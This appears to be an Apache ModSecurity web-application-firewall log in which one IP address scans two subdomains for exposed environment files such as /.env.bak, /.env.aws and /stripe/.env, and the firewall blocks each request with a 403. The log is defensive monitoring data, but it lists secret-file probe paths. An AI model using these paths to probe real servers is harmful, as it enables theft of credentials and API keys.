[Sun Oct 25 22:07:16.357658 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at611NYvsK9lv2bQxMABdgAAABA"]
[Sun Oct 25 22:07:16.358759 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at611DmmX3asvCDITlDxVQAAAAA"]
[Sun Oct 25 22:07:16.358910 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at611DmmX3asvCDITlDxVQAAAAA"]
[Sun Oct 25 22:07:16.359148 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at611DmmX3asvCDITlDxVQAAAAA"]
[Sun Oct 25 22:07:16.435928 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at611NYvsK9lv2bQxMABdwAAABA"]
[Sun Oct 25 22:07:16.436174 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at611NYvsK9lv2bQxMABdwAAABA"]
[Sun Oct 25 22:07:16.436445 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at611NYvsK9lv2bQxMABdwAAABA"]
[Sun Oct 25 22:07:16.440600 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at611DmmX3asvCDITlDxVgAAAAA"]
[Sun Oct 25 22:07:16.440745 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at611DmmX3asvCDITlDxVgAAAAA"]
[Sun Oct 25 22:07:16.441005 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at611DmmX3asvCDITlDxVgAAAAA"]
[Sun Oct 25 22:07:16.684525 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /stripe/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/stripe/.env"] [unique_id "at611DmmX3asvCDITlDxWQAAAAA"]
[Sun Oct 25 22:07:16.684784 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/stripe/.env"] [unique_id "at611DmmX3asvCDITlDxWQAAAAA"]
[Sun Oct 25 22:07:16.685137 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/stripe/.env"] [unique_id "at611DmmX3asvCDITlDxWQAAAAA"]
[Sun Oct 25 22:07:16.685290 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /stripe/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/stripe/.env"] [unique_id "at611NYvsK9lv2bQxMABegAAABA"]
[Sun Oct 25 22:07:16.685458 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/stripe/.env"] [unique_id "at611NYvsK9lv2bQxMABegAAABA"]
[Sun Oct 25 22:07:16.685704 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/stripe/.env"] [unique_id "at611NYvsK9lv2bQxMABegAAABA"]
[Sun Oct 25 22:07:16.764036 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at611NYvsK9lv2bQxMABewAAABA"]
[Sun Oct 25 22:07:16.764276 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at611NYvsK9lv2bQxMABewAAABA"]
[Sun Oct 25 22:07:16.764609 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at611NYvsK9lv2bQxMABewAAABA"]
[Sun Oct 25 22:07:16.766142 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at611DmmX3asvCDITlDxWgAAAAA"]
[Sun Oct 25 22:07:16.766408 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at611DmmX3asvCDITlDxWgAAAAA"]
[Sun Oct 25 22:07:16.766716 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at611DmmX3asvCDITlDxWgAAAAA"]
[Sun Oct 25 22:07:16.879975 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at611NYvsK9lv2bQxMABfAAAABA"]
[Sun Oct 25 22:07:16.880311 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at611NYvsK9lv2bQxMABfAAAABA"]
[Sun Oct 25 22:07:16.880707 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at611NYvsK9lv2bQxMABfAAAABA"]
[Sun Oct 25 22:07:16.881281 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at611DmmX3asvCDITlDxWwAAAAA"]
[Sun Oct 25 22:07:16.881460 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at611DmmX3asvCDITlDxWwAAAAA"]
[Sun Oct 25 22:07:16.881733 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at611DmmX3asvCDITlDxWwAAAAA"]
[Sun Oct 25 22:07:16.959141 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at611NYvsK9lv2bQxMABfQAAABA"]
[Sun Oct 25 22:07:16.959353 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at611NYvsK9lv2bQxMABfQAAABA"]
[Sun Oct 25 22:07:16.959614 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at611NYvsK9lv2bQxMABfQAAABA"]
[Sun Oct 25 22:07:16.973294 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at611DmmX3asvCDITlDxXAAAAAA"]
[Sun Oct 25 22:07:16.973467 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at611DmmX3asvCDITlDxXAAAAAA"]
[Sun Oct 25 22:07:16.973739 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at611DmmX3asvCDITlDxXAAAAAA"]
[Sun Oct 25 22:07:17.047542 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at611dYvsK9lv2bQxMABfgAAABA"]
[Sun Oct 25 22:07:17.047778 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at611dYvsK9lv2bQxMABfgAAABA"]
[Sun Oct 25 22:07:17.048108 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at611dYvsK9lv2bQxMABfgAAABA"]
[Sun Oct 25 22:07:17.095873 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at611TmmX3asvCDITlDxXQAAAAA"]
[Sun Oct 25 22:07:17.096137 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at611TmmX3asvCDITlDxXQAAAAA"]
